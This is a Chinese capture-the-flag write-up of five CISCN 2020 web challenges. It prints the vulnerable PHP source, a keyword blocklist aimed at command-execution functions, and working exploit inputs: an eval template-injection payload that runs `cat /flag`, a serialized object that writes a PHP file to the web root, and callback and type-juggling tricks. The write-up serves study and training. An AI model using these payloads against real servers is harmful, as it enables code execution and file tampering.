前言
今天剛打了CISCN2020,簡單的WEB題都沒有AK... 太菜了
題解
easyphp
通過題目描述猜測本題的考點應該是要讓子線程非正常退出,執行phpinfo()
得到flag。
根據代碼:
<?php
//題目環境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}
查詢手冊得到:
pcntl_wait函數刮起當前進程的執行直到一個子進程退出或接收到一個信號要求中斷當前進程或調用一個信號處理函數。 如果一個子進程在調用此函數時已經退出(俗稱僵屍進程),此函數立刻返回。子進程使用的所有系統資源將 被釋放。
故我們嘗試使用回調函數調用pcntl_wait函數,讓子線程異常退出。
Ture
和False
在充當int類型參數時會轉成1和0。
EXP:
/?a=call_user_func&b=pcntl_wait
littlegame
通過掃描工具得到源碼www.zip
,下載下來讀取后發現此題很多都是假功能,讀取flag處與其他功能在正常邏輯下是毫無辦法獲取到的。
發現setFn(req.session.knight, key, value);
這串代碼可以給session賦值。
此函數是由require('set-value');
該庫導入。
通過在package.json得知此庫的版本為3.0.0。通過搜索引擎查閱得知,這里存在原型鏈污染漏洞。https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
污染原型:
獲取FLAG:
rceme
打開題目得到源碼:
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,執行出錯,發現危險字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,執行出錯,發現危險字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有錯誤的判斷,請修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有錯誤的判斷,請修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}
關鍵點在:
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
此處應該可進行任意命令執行。
復制下來在本地調試,很容易就得到了EXP:
/?a={if:true)echo%201;echo%20`cat%20/flag`;if(true}aaa{end%20if}
babyunserialize
這題比賽時也沒做出來,也是賽后看的題解才學會的。
看來對於這種審計題還是自己太菜了,之后得找幾個cms來練練。
jig.php的Jig類存在任意寫兩道,EXP:
<?php
namespace DB;
class Jig {
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
protected
//! Storage location
$dir = '/var/www/html/',
//! Current storage format
$format = self::FORMAT_JSON,
//! Jig log
$data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
//! lazy load/save files
$lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));
easytrick
打開題目得到源代碼:
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太長了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
這題比賽時沒做出來,賽后看其他師傅的題解才學到,Y1ng師傅tql。
EXP:
$tr->trick1 = NAN;
$tr->trick2 = NAN;
后記
這次比賽題目其實都不算難,但是自己的成績還是不理想,隔壁的大師傅早AK了,orz。
太菜了。